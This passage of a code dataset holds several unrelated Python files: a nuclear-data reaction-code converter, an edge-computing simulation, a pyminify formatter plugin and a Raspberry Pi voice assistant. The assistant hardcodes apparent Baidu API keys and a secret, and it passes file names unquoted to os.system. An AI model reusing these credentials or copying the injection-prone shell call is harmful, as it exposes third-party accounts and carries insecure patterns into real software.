)\n    if( MT == 189 ) : return(  28, 0 )\n    if( MT == 193 ) : return(  38, 0 )\n    if( MT == 452 ) : return( 15, 0 )    # prompt plus delayed fission neutrons\n    if( MT == 455 ) : return( 15, 7 )    # delayed fission neutrons\n    if( MT == 456 ) : return( 15, 0 )    # prompt fission neutrons\n    if( MT == 458 ) : return( 15, 0 )    # prompt fission neutron energy\n    if( 600 <= MT < 649 ) : return( 40, 1 ) \n    if( MT == 649 ) : return( 40, 0 ) \n    if( 650 <= MT < 699 ) : return( 41, 1 ) \n    if( MT == 699 ) : return( 41, 0 ) \n    if( 700 <= MT < 749 ) : return( 42, 1 ) \n    if( MT == 749 ) : return( 42, 0 ) \n    if( 750 <= MT < 799 ) : return( 44, 1 ) \n    if( MT == 799 ) : return( 44, 0 ) \n    if( 800 <= MT < 849 ) : return( 45, 1 ) \n    if( MT == 849 ) : return( 45, 0 ) \n    if( 875 <= MT < 891 ) : return( 12, 1 ) \n    if( MT == 891 ) : return( 12, 0 ) \n    if( MT == 502 ) : return( 71, 0 )       # photo-atomic coherent\n    if( MT == 504 ) : return( 72, 0 )       # photo-atomic incoherent\n    if( MT == 516 ) : return( 74, 0 )       # photo-atomic pair production\n    if( MT == 522 ) : return( 73, 0 )       # photo-atomic photo-electric\n    if 900 <= MT < 999:\n        return 46, 1\n\n    raise Exception( 'MT = %d is not supported for conversion to C, S' % MT )\n\ndef getMTFromC( C ) :\n\n    if( C ==  1 ) : return(   1 )   # (z,total)\n    if( C ==  5 ) : return(  -5 )   # (z,prod)\n    if( C ==  8 ) : return(  -8 )   # (z,lacs)\n    if( C ==  9 ) : return(  -9 )   # (z,n+i)\n    if( C == 10 ) : return(   2 )   # (z,elas)\n    if( C == 11 ) : return(  50 )   # (z,n)\n    if( C == 12 ) : return(  16 )   # (z,2n)\n    if( C == 13 ) : return(  17 )   # (z,3n)\n    if( C == 14 ) : return(  37 )   # (z,4n)\n    if( C == 15 ) : return(  18 )   # (z,f)\n\n    if( C == 16 ) : return(  42 )   # (z,3np)\n    if( C == 17 ) : return(  44 )   # (z,n2p)\n    if( C == 18 ) : return( 111 )   # (z,2p)\n    if( C == 19 ) : return( 115 )   # (z,pd)\n\n    if( C == 20 ) : return(  28 )   # (z,np)\n    if( C == 21 ) : return( -20 )   # (z,pn)\n    if( C == 22 ) : return(  32 )   # (z,nd)\n    if( C == 23 ) : return( 158 )   # (z,nda)\n    if( C == 24 ) : return(  33 )   # (z,nt)\n    if( C == 25 ) : return(  34 )   # (z,nHe3)\n    if( C == 26 ) : return(  22 )   # (z,na)\n    if( C == 27 ) : return(  29 )   # (z,n2a)\n    if( C == 28 ) : return( 189 )   # (z,nta)\n    if( C == 29 ) : return(  41 )   # (z,2np)\n\n    if( C == 30 ) : return( -30 )   # (z,gna)\n    if( C == 31 ) : return( 159 )   # (z,2npa)\n    if( C == 32 ) : return(  11 )   # (z,2nd)\n    if( C == 33 ) : return(  24 )   # (z,2na)\n    if( C == 34 ) : return(  45 )   # (z,npa)\n    if( C == 35 ) : return(  32 )   # (z,dn), ENDF does not have an (z,dn) reaction only an (z,nd) reaction and ENDL's only (z,dn) reaction is not two-body so order does not matter.\n    if( C == 36 ) : return(  23 )   # (z,n3a)\n    if( C == 37 ) : return( 108 )   # (z,2a)\n    if( C == 38 ) : return( 193 )   # (z,He3 a)\n    if( C == 39 ) : return( 116 )   # (z,pt)\n\n    if( C == 40 ) : return( 600 )   # (z,p)\n    if( C == 41 ) : return( 650 )   # (z,d)\n    if( C == 42 ) : return( 700 )   # (z,t)\n    if( C == 43 ) : return( 155 )   # (z,ta)\n    if( C == 44 ) : return( 750 )   # (z,He3)\n    if( C == 45 ) : return( 800 )   # (z,a)\n    if( C == 46 ) : return( 102 )   # (z,g)\n    if( C == 47 ) : return( 117 )   # (z,da)\n    if( C == 48 ) : return( 112 )   # (z,pa)\n    if( C == 49 ) : return( -49 )   # (z,2pa)\n\n    if( C == 50 ) : return( -50 )   # (z,Xp)\n    if( C == 51 ) : return( -51 )   # (z,Xd)\n    if( C == 52 ) : return( -52 )   # (z,Xt)\n    if( C == 53 ) : return( -53 )   # (z,XHe3)\n    if( C == 54 ) : return( -54 )   # (z,Xa)\n    if( C == 55 ) : return( -55 )   # (z,Xg)\n    if( C == 56 ) : return( -56 )   # (z,Xn)\n    if( C == 57 ) : return( -57 )   # (z,Xe)\n\n    if( C == 70 ) : return( 501 )   # (z,totp)\n    if( C == 71 ) : return( 502 )   # (z,coh)\n    if( C == 72 ) : return( 504 )   # (z,incoh)\n    if( C == 73 ) : return( 522 )   # (z,photo)\n    if( C == 74 ) : return( 516 )   # (z,pair)\n    if( C == 75 ) : return( -75 )   # (z,triplet)\n    if( C == 78 ) : return( -78 )   # (z,ic)\n\n    if( C == 81 ) : return( -81 )   # (z,ion)\n    if( C == 82 ) : return( -82 )   # (z,brem)\n    if( C == 83 ) : return( -83 )   # (z,excit)\n    if( C == 84 ) : return( -84 )   # (z,coll)\n\n    if( C == 91 ) : return( -91 )   # (z,shell)\n    if( C == 92 ) : return( -92 )   # (z,trans)\n    if( C == 93 ) : return( -93 )   # (z,whole)\n    raise Exception( 'C = %d is not supported for conversion to MT' % C )\n\nclass ENDLCS_To_ENDFMT :\n\n    def __init__( self, projectile ) :\n\n        self.projectile = projectile\n        self.MTPrimes = {}\n\n    def getMTFromCS( self, C, S, CCounts = 0 ) :\n\n        def MTPrimes( self, MT, S, projectile ) :\n\n            if( S == 0 ) :\n                if( MT == 50 ) :\n                    MT = 91\n                else :\n                    MT += 49\n            else :\n                if( MT not in self.MTPrimes ) :\n                    self.MTPrimes[MT] = -1\n                    if( self.projectile == projectile ) : self.MTPrimes[MT] += 1\n                self.MTPrimes[MT] += 1\n                MT += self.MTPrimes[MT]\n            return( MT )\n\n        MT = getMTFromC( C )\n        if(   MT ==  50 ) :\n            MT = MTPrimes( self, MT, S, IDsPoPsModule.neutron )\n        elif( MT == 600 ) :\n            MT = MTPrimes( self, MT, S, 'H1' )\n            if( ( S == 0 ) and ( CCounts == 1 ) ) : MT = 103\n        elif( MT == 650 ) :\n            MT = MTPrimes( self, MT, S, 'H2' )\n            if( ( S == 0 ) and ( CCounts == 1 ) ) : MT = 104\n        elif( MT == 700 ) :\n            MT = MTPrimes( self, MT, S, 'H3' )\n            if( ( S == 0 ) and ( CCounts == 1 ) ) : MT = 105\n        elif( MT == 750 ) :\n            MT = MTPrimes( self, MT, S, 'He3' )\n            if( ( S == 0 ) and ( CCounts == 1 ) ) : MT = 106\n        elif( MT == 800 ) :\n            MT = MTPrimes( self, MT, S, 'He4' )\n            if( ( S == 0 ) and ( CCounts == 1 ) ) : MT = 107\n        return( MT )\n\ndef ENDF_MTZAEquation( projectileZA, targetZA, MT ) :\n    \"\"\"\n    This function returns a python list of length 2. The first element is a list of all outgoing particle ZA's\n    (including the residual) for the reaction of projectileZA + targetZA with ENDF's reaction identifier MT. \n    The second element is a reaction equation for this projectileZA, targetZA and MT. For example\n    ENDF_MTZAEquation( 1, 95242, 22 ) returns\n        ([1, 2004, 93238], 'n + Am242 -> n + He4 + Np238')\n    That is, for a neutron ( projectileZA = 1 ) hitting Am242 ( targetZA = 95242 ) with MT = 22 - ENDF (z,na) reaction - \n    the outgoing particle ZA's are [1, 2004, 93238] and the reaction equation is 'n + Am242 -> n + He4 + Np238'.\n    \"\"\"\n\n    if 900 <= MT < 1000:\n        MT = 102\n    if( ( MT < 0 ) or ( MT > 999 ) or ( MT in [ 1, 3, 5, 10, 18, 19, 20, 21, 27, 38, 101, 151 ] or ( 200 < MT < 600 ) or ( 850 < MT < 875 ) ) ) :\n        raise Exception( 'MT = %s is not supported' % MT )\n    elif( MT == 2 ) :\n        productCounts = { chemicalElementMiscPoPsModule.idFromZA( projectileZA ) : 1 }\n        level = None\n    elif( MT == 4 ) :\n        productCounts = { chemicalElementMiscPoPsModule.idFromZA( projectileZA ) : 1 }\n        level = None\n    else :\n        productCounts = endfMTtoC_ProductLists[MT].productCounts\n        level = endfMTtoC_ProductLists[MT].residualLevel\n    compoundZA = projectileZA + targetZA\n    residualZA = compoundZA\n    productCountList = []\n    if projectileZA == 0:\n        projectile = IDsPoPsModule.photon\n    else:\n        projectile = chemicalElementMiscPoPsModule.idFromZA(projectileZA)\n    adder, equationZA, equation = '', [], '%s + %s ->' % (projectile, chemicalElementMiscPoPsModule.idFromZA(targetZA))\n    for product in productCounts :\n        if product == IDsPoPsModule.photon:\n            productZA = 0\n        else :\n            productZA = miscENDLModule.getZ_A_suffix_andZAFromName(product)[-1]\n        if productCounts[product] > 0: productCountList.append([productZA, product, productCounts[product]])\n    productCountList.sort()\n    for productZA, token, count in productCountList:\n        residualZA -= count * productZA\n        for idx in range( count ) :\n            equation += ' %s%s' % ( adder, token )\n            equationZA.append( productZA )\n            adder = '+ '\n    levelStr = ''\n    if( not( level is None ) ) :\n        if( isinstance( level, int ) ) :\n            if( level < 0 ) : ValueError( 'level = %s must be >= 0' % level )\n            if( level > 0 ) : levelStr = \"_e%s\" % level\n        else :\n            raise Exception( 'Unknown level specifier = %s' % level )\n    equation += ' %s%s%s' % ( adder, chemicalElementMiscPoPsModule.idFromZA( residualZA ), levelStr )\n    equationZA.append( residualZA )\n    return( equationZA, equation )\n\ndef setReactionsOutputChannelFromOutputChannel( info, reaction, outputChannel ) :\n\n    for conversion in info.ENDFconversionFlags.flags :\n        if( isinstance( conversion.link, QModule.Component ) ) :\n            if( conversion.link == outputChannel.Q ) : conversion.link = reaction.outputChannel.Q\n    reaction.outputChannel.process = outputChannel.process\n    reaction.outputChannel.genre = outputChannel.genre\n\n    for Q in outputChannel.Q : reaction.outputChannel.Q.add( Q )\n\n    for product in outputChannel.products : reaction.outputChannel.products.add( product )\n\n    for delayedNeutron in outputChannel.fissionFragmentData.delayedNeutrons :\n        reaction.outputChannel.fissionFragmentData.delayedNeutrons.add( delayedNeutron )\n\n    for fissionEnergyRelease in outputChannel.fissionFragmentData.fissionEnergyReleases :\n        reaction.outputChannel.fissionFragmentData.fissionEnergyReleases.add( fissionEnergyRelease )\n","sub_path":"brownies/legacy/converting/endf_endl.py","file_name":"endf_endl.py","file_ext":"py","file_size_in_byte":36419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"461521402","text":"import random\nfrom worker import *\nimport numpy as np\nimport time\nimport math\nimport threading\nimport copy\nfrom concurrent.futures import ThreadPoolExecutor\n\n\ndef initial_energy_all_local(selection, player):\n    energy, finished = 0, 0\n    user_hist = [[] for n in range(player.number_of_user)]\n    # print(selection)\n    ee = []\n    for n in range(player.number_of_user):\n        player.users[n].local_only_execution()\n        if selection[n] == -1:\n            energy += player.users[n].local_only_energy\n            ee.append(round(player.users[n].local_only_energy, 5))\n            if player.users[n].local_only_enabled:\n                finished += 1\n            user_hist[n].append(player.users[n].local_only_energy)\n    # print(selection, \"finished\", finished, \"energy\", energy)\n    return ee, finished, user_hist\n\n\ndef energy_update(player, selection, user_hist, save=True):\n    energy, finished, transmission, computation, edge_computation = [], [], [], [], []\n    for n in range(player.number_of_user):\n        if selection[n] == -1:\n            if save:\n                user_hist[n].append(round(player.users[n].local_only_energy, 5))\n            energy.append(round(player.users[n].local_only_energy, 5))\n            if player.users[n].local_only_enabled:\n                finished.append(1)\n            else:\n                finished.append(0)\n            transmission.append(0)\n            computation.append(0)\n            edge_computation.append(0)\n        else:\n            config = player.users[n].config\n            k = selection[n]\n            if config is not None:\n                e, f, tt, ct, et = player.users[n].remote_execution()\n                energy.append(round(e, 5))\n                transmission.append(round(tt, 4))\n                computation.append(round(ct, 4))\n                edge_computation.append(round(et, 4))\n                finished.append(f)\n                if save:\n                    user_hist[n].append(round(e, 5))\n            else:\n                transmission.append(0)\n                computation.append(0)\n                edge_computation.append(0)\n                finished.append(0)\n    # if np.sum(finished) == player.number_of_user:\n    return user_hist, energy, finished, transmission, computation, edge_computation\n\n\ndef get_request(channel_allocation, just_updated, player, selection, full, epsilon):\n    for n in range(player.number_of_user):\n        player.users[n].partition()\n\n    D_n = np.array([player.users[n].DAG.D/1000 for n in range(player.number_of_user)])\n    X_n = np.array([player.users[n].remote for n in range(player.number_of_user)])\n    Y_n = np.array([player.users[n].local for n in range(player.number_of_user)])\n    user_cpu = np.array([player.users[n].freq for n in range(player.number_of_user)])\n    edge_cpu = np.array([player.edges[k].freq for k in range(player.number_of_edge)])\n    number_of_chs = np.array([player.edges[k].number_of_chs for k in range(player.number_of_edge)])\n    P_max = np.array([player.users[n].p_max for n in range(player.number_of_user)])\n    B = np.array([player.users[n].local_to_remote_size for n in range(player.number_of_user)])\n    H = np.array([[player.users[n].H[k] for k in range(player.number_of_edge)] for n in range(player.number_of_user)])\n\n    info = {\n        \"selection\": selection,\n        \"number_of_edge\": player.number_of_edge,\n        \"number_of_user\": player.number_of_user,\n        \"D_n\": D_n,\n        \"X_n\": X_n,\n        \"Y_n\": Y_n,\n        \"user_cpu\": user_cpu,\n        \"edge_cpu\": edge_cpu,\n        \"number_of_chs\": number_of_chs,\n        \"P_max\": P_max,\n        \"B\": B,\n        \"H\": H,\n        \"W\": 2 * math.pow(10, 6),\n        \"who\": None,\n        \"full\": full,\n        \"default_channel\": 1,\n        \"channel_allocation\": channel_allocation,\n        \"step\": 0.01,\n        \"interval\": 10,\n        \"stop_point\": epsilon\n    }\n    reset_request_pool(player.number_of_user)\n    start = time.time()\n\n    copied_info = []\n    for n in range(player.number_of_user):\n        info[\"who\"] = player.users[n]\n        copied_info.append(copy.deepcopy(info))\n\n    with ThreadPoolExecutor(max_workers=player.number_of_user) as executor:\n        executor.map(worker, copied_info)\n\n    \"\"\"\n    for n in range(player.number_of_user):\n        # 为每个worker创建一个线程\n        info[\"who\"] = player.users[n]\n        # x = threading.Thread(target=worker, args=(copy.deepcopy(info),))\n        # x.start()\n        worker(copy.deepcopy(info))\n    \"\"\"\n    while not check_worker(player.number_of_user):\n        t = 0\n\n    opt_delta = []\n    for n in range(player.number_of_user):\n        if player.users[n].config is not None:\n            opt_delta.append(player.users[n].config[5])\n        else:\n            opt_delta.append(-1)\n\n    print(\"request finished in >>>>>>>>>>>>>>>>\", time.time() - start, selection, opt_delta)\n    not_tested = [n for n in range(player.number_of_user)]\n    n = 0\n    while len(not_tested) > 0:\n        # n = random.choice(not_tested)\n        #if n == just_updated:\n            #continue\n        if get_request_pool()[n] is not None:\n            return get_requests(get_request_pool()[n], selection)\n        else:\n            not_tested.remove(n)\n            n += 1\n    return None\n","sub_path":"Edge Computing/MOBIHOC/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":5233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"30980204","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# @id           $Id$\n# @rev          $Format:%H$ ($Format:%h$)\n# @tree         $Format:%T$ ($Format:%t$)\n# @date         $Format:%ci$\n# @author       $Format:%an$ <$Format:%ae$>\n# @copyright    Copyright (c) 2019-present, Duc Ng. (bitst0rm)\n# @link         https://github.com/bitst0rm\n# @license      The MIT License (MIT)\n\nimport logging\nimport json\nfrom . import common\n\nlog = logging.getLogger('__name__')\nINTERPRETERS = ['python3', 'python']\nEXECUTABLES = ['pyminify']\n\n\nclass PythonminifierFormatter:\n    def __init__(self, *args, **kwargs):\n        self.view = kwargs.get('view', None)\n        self.identifier = kwargs.get('identifier', None)\n        self.region = kwargs.get('region', None)\n        self.is_selected = kwargs.get('is_selected', False)\n        self.pathinfo = common.get_pathinfo(self.view.file_name())\n\n    def get_cmd(self):\n        cmd = common.get_head_cmd(self.identifier, INTERPRETERS, EXECUTABLES)\n        if not cmd:\n            return None\n\n        config = common.get_config_path(self.view, self.identifier, self.region, self.is_selected)\n\n        if config:\n            params = [\n                '--no-combine-imports',\n                '--no-remove-pass',\n                '--remove-literal-statements',\n                '--no-remove-annotations',\n                '--no-hoist-literals',\n                '--no-rename-locals',\n                '--preserve-locals',\n                '--rename-globals',\n                '--preserve-globals',\n                '--no-remove-object-base',\n                '--no-convert-posargs-to-args',\n                '--no-preserve-shebang',\n                '--remove-debug',\n                '--no-remove-explicit-return-none'\n            ]\n\n            with open(config, 'r', encoding='utf-8') as file:\n                content = json.load(file)\n\n            for k, v in content.items():\n                x = k.replace('_', '-')\n                no_param = '--no-' + x\n                param = '--' + x\n                if no_param in params and isinstance(v, bool) and not v:\n                        cmd.extend([no_param])\n                if param in params:\n                    if isinstance(v, bool) and v:\n                        cmd.extend([param])\n                    if isinstance(v, list) and v:\n                        cmd.extend([param, ', '.join(v)])\n\n        cmd.extend(['-'])\n\n        return cmd\n\n    def format(self, text):\n        cmd = self.get_cmd()\n        log.debug('Current arguments: %s', cmd)\n        cmd = common.set_fix_cmds(cmd, self.identifier)\n        if not cmd:\n            return None\n\n        try:\n            proc = common.exec_cmd(cmd, self.pathinfo[1])\n            stdout, stderr = proc.communicate(text.encode('utf-8'))\n\n            errno = proc.returncode\n            if errno > 0:\n                log.error('File not formatted due to an error (errno=%d): \"%s\"', errno, stderr.decode('utf-8'))\n            else:\n                return stdout.decode('utf-8')\n        except OSError:\n            log.error('Error occurred while running: %s', ' '.join(cmd))\n\n        return None\n","sub_path":"src/formatter_pythonminifier.py","file_name":"formatter_pythonminifier.py","file_ext":"py","file_size_in_byte":3115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"21172297","text":"\r\nfrom aip import AipSpeech\r\nfrom pydub import AudioSegment\r\nimport json\r\nimport requests\r\nimport pyaudio\r\nimport wave\r\nimport numpy as np\r\nimport webbrowser\r\nimport time\r\nimport pygame\r\nimport os\r\nimport urllib\r\n\r\nimport RPi.GPIO as GPIO\r\nimport time\r\n\r\nGPIO.setmode(GPIO.BCM)\r\nGPIO.setwarnings(False)\r\nIN1 = 6\r\nIN2 = 13 \r\n\r\nIN3 = 19  \r\nIN4 = 26\r\n\r\nIN5 = 21\r\nIN6 = 20\r\n\r\ndef init():\r\n    GPIO.setup(IN1, GPIO.OUT,initial=GPIO.LOW)\r\n    GPIO.setup(IN2, GPIO.OUT,initial=GPIO.LOW)\r\n    GPIO.setup(IN3, GPIO.OUT,initial=GPIO.LOW)\r\n    GPIO.setup(IN4, GPIO.OUT,initial=GPIO.LOW)\r\n    GPIO.setup(IN5, GPIO.OUT,initial=GPIO.LOW)\r\n    GPIO.setup(IN6, GPIO.OUT,initial=GPIO.LOW)\r\n\r\ninit()    \r\n    \r\ndef up():\r\n    \r\n    GPIO.output(IN4, GPIO.HIGH)\r\n    GPIO.output(IN3, GPIO.LOW)\r\n    \r\n    \r\ndef down():\r\n   \r\n    GPIO.output(IN3, GPIO.HIGH)  \r\n    GPIO.output(IN4,GPIO.LOW)\r\n\r\n\r\ndef pull():\r\n    GPIO.output(IN1,GPIO.HIGH)\r\n    GPIO.output(IN2,GPIO.LOW)\r\n    \r\ndef push():\r\n    GPIO.output(IN2,GPIO.HIGH)\r\n    GPIO.output(IN1,GPIO.LOW)\r\n    \r\ndef a_down():\r\n    GPIO.output(IN5,GPIO.HIGH)\r\n    GPIO.output(IN6,GPIO.LOW)\r\n    \r\ndef a_up():\r\n    GPIO.output(IN6,GPIO.HIGH)\r\n    GPIO.output(IN5,GPIO.LOW)\r\n    \r\n    \r\n    \r\ndef get_up():\r\n    push()\r\n    time.sleep(2.4)\r\n    init()\r\n    time.sleep(0.2)\r\n    up()\r\n    time.sleep(6)\r\n    push()\r\n    time.sleep(0.6)\r\n\r\n    \r\ndef lay_down():\r\n    down()    \r\n    time.sleep(5.488)\r\n    init()\r\n    time.sleep(0.2)\r\n    #pull()\r\n    #time.sleep(3.6)\r\n    pull()\r\n    time.sleep(5.3)\r\n    \r\ndef arm_down():\r\n    a_down()\r\n    time.sleep(6)\r\n    \r\ndef arm_up():\r\n    a_up()\r\n    time.sleep(6)\r\n   \r\n\r\n\r\nclass Family():\r\n    def __init__(self,name=['JOJO'],per=1,speed=5,pit=5,vol=5,listen_time=5):\r\n        self.name = name\r\n        self.speed = speed\r\n        self.per = per\r\n        self.pit = pit\r\n        self.vol = vol\r\n        self.listen_time = listen_time\r\n        self.man_wav = 'audio/man.wav'\r\n        self.machine_mp3 = 'audio/machine.mp3'\r\n        self.machine_wav = 'audio/machine.wav'#仅用于pygame的临时加载\r\n        self.start_wav = 'audio/start.wav'\r\n        self.sleep_wav = 'audio/sleep.wav'\r\n        self.stop_wav = 'audio/stop.wav'\r\n        self.questen = ''\r\n        self.client = None\r\n        self.listen = True\r\n        self.work = not True\r\n        self.stop = not True\r\n        self.starttime = 0\r\n        self.nowtime = 0\r\n        self.test = True\r\n    \"\"\"下载音乐\"\"\"\r\n    def DownloadMusic(self,name):\r\n        res1 = requests.get('https://c.y.qq.com/soso/fcgi-bin/client_search_cp?&t=0&aggr=1\\\r\n                            &cr=1&catZhida=1&lossless=0&flag_qc=0&p=1&n=20&w='+name)\r\n        jm1 = json.loads(res1.text.strip('callback()[]'))['data']['song']['list'][0]\r\n\r\n        mids=jm1['media_mid']\r\n        songmids=jm1['songmid']\r\n        songnames=jm1['songname']\r\n        singers=jm1['singer'][0]['name']\r\n\r\n        res2 = requests.get('https://c.y.qq.com/base/fcgi-bin/fcg_music_express_mobile3.fcg?&\\\r\n        jsonpCallback=MusicJsonCallback&cid=205361747&songmid='+songmids+'&filename=C400'+mids+'.m4a&guid=6612300644')\r\n        jm2 = json.loads(res2.text)\r\n        vkey = jm2['data']['items'][0]['vkey']\r\n        srcs='http://dl.stream.qqmusic.qq.com/C400'+mids+'.m4a?vkey='+vkey+'&guid=6612300644&uin=0&fromtag=66'\r\n        try:\r\n            urllib.request.urlretrieve(srcs,'music/'+songnames+'.mp3')#.m4a\r\n            return 1\r\n        except:\r\n            return 0\r\n    \"\"\"初始化pygame模块\"\"\"\r\n    def pygame_init(self):\r\n        pygame.mixer.init()\r\n    \"\"\"播放音频\"\"\"\r\n    def play(self,file):\r\n        pygame.mixer.music.load(file)\r\n        pygame.mixer.music.play()\r\n    \"\"\"pygame是否正忙\"\"\"\r\n    def get_busy(self):\r\n        return pygame.mixer.music.get_busy()\r\n    \"\"\"以二进制格式打开文件\"\"\"\r\n    def get_file_content(self,filePath):\r\n        with open(filePath, 'rb') as fp:\r\n            return fp.read()\r\n\r\n    \"\"\"播放WAV\"\"\"\r\n    def play_wav(self,file):\r\n        \"\"\"参数：wav文件绝对路径\"\"\"\r\n        \"\"\"阻塞，直到播放完成\"\"\"\r\n        CHUNK = 1024\r\n        wf = wave.open(file, 'rb')\r\n        p = pyaudio.PyAudio()\r\n        stream = p.open(format=p.get_format_from_width(wf.getsampwidth()),\r\n                        channels=wf.getnchannels(),\r\n                        rate=wf.getframerate(),\r\n                        output=True)\r\n        data = wf.readframes(CHUNK)\r\n        while data:\r\n            stream.write(data)\r\n            data = wf.readframes(CHUNK)\r\n        stream.stop_stream()\r\n        stream.close()\r\n        p.terminate()\r\n        \r\n    \"\"\"sizhi机器人\"\"\"\r\n    def answer(self):\r\n        \"\"\"参数：中文问题；返回：JSON格式回答信息\"\"\"\r\n        data = {\r\n            \"appid\": \"c91e8ed614ad2bd412ff3b2542b4888e\",\r\n            \"userid\": \"JOJO\",\r\n            \"spoken\": self.questen\r\n        }\r\n        resp = requests.post(\"https://api.ownthink.com/bot\", data )\r\n        resp.encoding ='utf-8'\r\n        result = resp.json()\r\n        print(result)\r\n        answer = result['data']['info']['text']\r\n        return answer\r\n\r\n    def wav_to_pcm(self,wav_file):\r\n        pcm_file = \"%s.pcm\" % (wav_file.split(\".\")[0])\r\n\r\n        # 就是此前我们在cmd窗口中输入命令,这里面就是在让Python帮我们在cmd中执行命令\r\n        os.system(\"ffmpeg -y  -i %s  -acodec pcm_s16le -f s16le -ac 1 -ar 16000 %s\" % (wav_file, pcm_file))\r\n        return pcm_file\r\n\r\n\r\n    \"\"\"MP3文件转WAV文件\"\"\"\r\n    def mp3_to_wav(self,mp3,wav):\r\n        \"\"\"参数：MP3文件绝对路径，WAV文件绝对路径\"\"\"\r\n        \"\"\"输出：WAV文件\"\"\"\r\n        sound = AudioSegment.from_mp3(mp3)  #加载mp3文件\r\n        sound.export(wav, format=\"wav\")  #转换格式\r\n    \r\n    \"\"\"有声音就录音\"\"\"\r\n    def recodeing(self,t):\r\n        \"\"\"参数：录音阈值，正常1500\"\"\"\r\n        \"\"\"阻塞，直到录音完成\"\"\"\r\n        CHUNK = 1024 #每次读取的音频流长度\r\n        FORMAT = pyaudio.paInt16  #语音文件的格式\r\n        CHANNELS = 2  #声道数，百度语音识别要求单声道\r\n        RATE = 16000  #采样率， 8000 或者 16000， 推荐 16000 采用率\r\n        wait = True  #录音等待\r\n        LEVEL = 1000\r\n        p = pyaudio.PyAudio()\r\n        stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True,\r\n                        frames_per_buffer=CHUNK)\r\n        frames = []\r\n        print(\"start recording\")\r\n        while wait:\r\n            data = stream.read(CHUNK)\r\n            audio_data = np.fromstring(data, dtype=np.short)\r\n            temp = np.max(audio_data)\r\n            if temp >t:\r\n                wait = not True\r\n                print(\"end recording\")\r\n        large_count = np.sum( audio_data > LEVEL )\r\n        while large_count>10:\r\n            frames.append(data) \r\n            data = stream.read(CHUNK)\r\n            audio_data = np.fromstring(data, dtype=np.short)\r\n            large_count = np.sum( audio_data > LEVEL )\r\n        stream.stop_stream()\r\n        stream.close()\r\n        p.terminate()\r\n        wf = wave.open(self.man_wav, 'wb')\r\n        wf.setnchannels(CHANNELS)\r\n        wf.setsampwidth(p.get_sample_size(FORMAT))\r\n        wf.setframerate(RATE)\r\n        wf.writeframes(b''.join(frames))\r\n        wf.close()\r\n        print('录音完毕...')\r\n        self.wav_to_pcm(self.man_wav)\r\n\r\n\r\n    def login(self):\r\n        APP_ID = '18308446'\r\n        API_KEY = 'ZCU9ew1M7cxIVnMn7FOSjlAz'\r\n        SECRET_KEY = 'XUXRO2Pa6oF3Cp0XN4IqrnBzGrhvhcqF'\r\n        self.client = AipSpeech(APP_ID, API_KEY, SECRET_KEY)\r\n    def awake(self):\r\n        while self.listen:\r\n            self.recodeing(1500)\r\n            pcm_file = self.wav_to_pcm(self.man_wav)\r\n            print(\"开始上传音频数据...\")\r\n            result_text = self.client.asr(self.get_file_content(pcm_file), 'pcm',16000, {'dev_pid': '1537', })\r\n            print('语音识别结果：')\r\n            print(result_text)\r\n            if 'result' in result_text.keys():\r\n                info = result_text[\"result\"][0][:-1]\r\n                if self.test:\r\n                    print('唤醒音识别结果：'+info)\r\n                if info in self.name:\r\n                    self.listen = not True\r\n                    self.work = True\r\n                    self.stop = not True\r\n                    break\r\n            else:\r\n                if self.test:\r\n                    print('识别失败')\r\n    def working(self):\r\n        self.play_wav(self.start_wav)\r\n        self.starttime = time.time()\r\n        while self.work:\r\n            CHUNK = 1024  #每次读取的音频流长度\r\n            FORMAT = pyaudio.paInt16  #语音文件的格式\r\n            CHANNELS = 2  #声道数，百度语音识别要求单声道\r\n            RATE = 16000  #采样率， 8000 或者 16000， 推荐 16000 采用率\r\n            wait = True  #录音等待\r\n            LEVEL = 1000\r\n            p = pyaudio.PyAudio()\r\n            stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True,\\\r\n                            frames_per_buffer=CHUNK)\r\n            frames = []\r\n            print(\"start recording\")\r\n            while wait:\r\n                data = stream.read(CHUNK)\r\n                audio_data = np.fromstring(data, dtype=np.short)\r\n                temp = np.max(audio_data)\r\n                if temp >1500:\r\n                    wait = not True\r\n                    break\r\n                self.nowtime = time.time()\r\n                if self.nowtime-self.starttime>self.listen_time:\r\n                    self.listen = True\r\n                    self.work = not True\r\n                    self.stop = not True\r\n                    self.play_wav(self.stop_wav)\r\n                    break\r\n            if self.work:\r\n                large_count = np.sum( audio_data > LEVEL )\r\n                while large_count>8:\r\n                    frames.append(data) \r\n                    data = stream.read(CHUNK)\r\n                    audio_data = np.fromstring(data, dtype=np.short)\r\n                    large_count = np.sum( audio_data > LEVEL )\r\n                stream.stop_stream()\r\n                stream.close()\r\n                p.terminate()\r\n                wf = wave.open(self.man_wav, 'wb')\r\n                wf.setnchannels(CHANNELS)\r\n                wf.setsampwidth(p.get_sample_size(FORMAT))\r\n                wf.setframerate(RATE)\r\n                wf.writeframes(b''.join(frames))\r\n                wf.close()\r\n\r\n                pcm_file = self.wav_to_pcm(self.man_wav)\r\n\r\n                #录音结束\r\n                print(\"开始上传音频数据...\")\r\n                result_text = self.client.asr(self.get_file_content(pcm_file), 'pcm',16000, {'dev_pid': '1537',})\r\n                if 'result' in result_text.keys():\r\n                    self.questen = result_text[\"result\"][0][:-1]\r\n                    if self.test:\r\n                        print('语音输入识别结果：'+self.questen)\r\n                    if self.questen in ['机电了','点了','机电','电缆','电了','现在几点了']:#对时间的处理，‘几点了’的识别结果很无奈\r\n                        now_time = time.localtime()\r\n                        tm_hour = now_time.tm_hour\r\n                        if tm_hour >= 12:\r\n                            tm_hour -= 12\r\n                        tm_min = now_time.tm_min\r\n                        tm_sec = now_time.tm_sec\r\n                        turing_answer_text = str(tm_hour)+'点'+str(tm_min)+'分'+str(tm_sec)+'秒'\r\n                    elif self.questen in ['今天几号','今天多少号']:#对日期的处理\r\n                        now_time = time.localtime()\r\n                        tm_mon = now_time.tm_mon\r\n                        tm_mday = now_time.tm_mday\r\n                        turing_answer_text = str(tm_mon)+'月'+str(tm_mday)+'号'\r\n                    elif self.questen in ['今天星期几']:#对星期的处理\r\n                        now_time = time.localtime()\r\n                        tm_wday = now_time.tm_wday+1\r\n                        if tm_wday <= 6:\r\n                            turing_answer_text = 